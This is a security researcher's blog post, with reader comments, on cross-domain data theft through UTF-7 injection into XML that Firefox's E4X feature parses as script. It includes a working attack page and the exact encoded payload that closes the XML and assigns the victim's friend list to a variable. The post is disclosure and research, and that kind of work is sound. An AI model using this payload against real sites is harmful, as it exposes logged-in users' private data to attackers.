Inline UTF-7 E4X javascript hijacking

I finally get to talk about this because Yosuke Hasegawa has already disclosed the IE/FF variant with JSON data. I also discovered the UTF-7 JSON hacking independently but I wasn’t aware it was public so I didn’t blog about it. Just in case you haven’t, you should check out his presentation it’s awesome!

Anyway onto E4X I just love it :) Currently it is only fully supported by Firefox and maybe Google Chrome I think. It enables you to use XML data within Javascript and has plenty of little quirks I’ve blogged about in the past. I won’t go into detail about what it is, you’ll have to Google around for that.

So you can use XML data within javascript that means we can access that data cross domain but only if it’s been assigned to a variable right? Well not exactly. You see if we can control any aspect of the XML data we can then poison it with UTF-7 encoded data, this means we can access inline XML without any variable assignment.

Lets take a sample of fictional data that is returned when you’re logged onto a web site:-

<friendList>
<friend>
  <name>Name1</name>
  <email>somebody@somewhere1.com</email>
</friend>
<friend>
  <name>Name2</name>
  <email>somebody@somewhere2.com</email>
</friend>
etc...
</friendList>

So if you can control a new friend within the XML data, we can get the contents of the data remotely by including a SCRIPT tag to the data along with a UTF-7 charset. Here is how the attack would work:-

<script defer="defer" charset="UTF-7" src="http://somesite.com/home/friendslist.php"></script>
<script>
window.onload = function() {
	alert(x);
}
</script>

And we add a new friend called poison with the following data:-

<friend>
  <name>Poison</name>
<email>+ADwALwBlAG0AYQBpAGwAPgA8AC8AZgByAGkAZQBuAGQAPgA8AC8AZgByAGkAZQBuAGQATABpAHMAdAA+ADsAeAA9ADwAZgByAGkAZQBuAGQATABpAHMAdAA+ADwAZgByAGkAZQBuAGQAPgA8AGUAbQBhAGkAbAA+-</email>
</friend>

If we decode the above UTF-7 string we get the following:-

</email></friend></friendList>;x=<friendList><friend><email>

Notice the “X” assignment, this is how we steal the data. We close the email, friend and friendlist tags within the UTF-7 encoded data and start a new E4X block. A POC is available here which would also work cross domain:-

E4X poc

11 Responses to “Inline UTF-7 E4X javascript hijacking”

  1. kuza55 writes:

    There’s also some cool info on injecting javascript constructors into E4X here: http://code.google.com/p/doctype/wiki/ArticleE4XSecurity But of course that suffers from you needing two injection points.

  2. Gareth Heyes writes:

    Thanks for the link, I’ll check it out

  3. thornmaker writes:

    Good stuff Gareth! charset attribute on script tags is new to me. any other weird tags support it?

  4. Gareth Heyes writes:

    @thornmaker

    You can remote include styles using the link tag, a variation on the one in our Bluehat presentation

  5. c writes:

    How would the server protect against this? Does the charset tag override the charset header the servers sends with the data?

  6. Gareth Heyes writes:

    @c

    See Kuza’s link which discusses defensive measures at the bottom.

  7. sirdarckcat writes:

    sweeeeeeeeeeeet dude

  8. Chris Evans writes:

    Nice!! I only just saw this, for some reason. Great attack.

    Google Chrome (or more accurately, v8) doesn’t have E4X support at the moment. Best I know it’s only Firefox.

    My foray into E4X security was: http://scarybeastsecurity.blogspot.com/2009/05/more-plausible-e4x-attack.html

    In response to that, Firefox committed a change in 3.5 such that pure XML was not considered valid JavaScript. I’m curious if that change also fixes your UTF7 attack, or if terminating the XML and including another JavaScript statement after causes Firefox to not error?

    General question I suppose – is FF3.5.8 still vulnerable to this?

    Have fun,
    Chris

    p.s. the XML isn’t rendering properly in my browser. You probably want to escape braces etc. with < even though you’re in a PRE tag.

  9. Gareth Heyes writes:

    @Chris

    Hey Chris, fixed the XML it was because I used a code formatter plugin and now that I removed it (because it was vulnerable =) ) the raw XML data displayed.

    I sent you a email about e4x

  10. Eli Grey writes:

    You can hijack the rest of the XML by defining a setter on XML.prototype. Then you could do xml.function::hijack = rest-of-the-xml.

  11. Gareth Heyes writes:

    @Eli

    Interesting the E4X spec says this shouldn’t be possible, have you got a POC?

    Anyway it’s possible to get the rest of the doc using setTimeout and assigning the remaining HTML to a E4X variable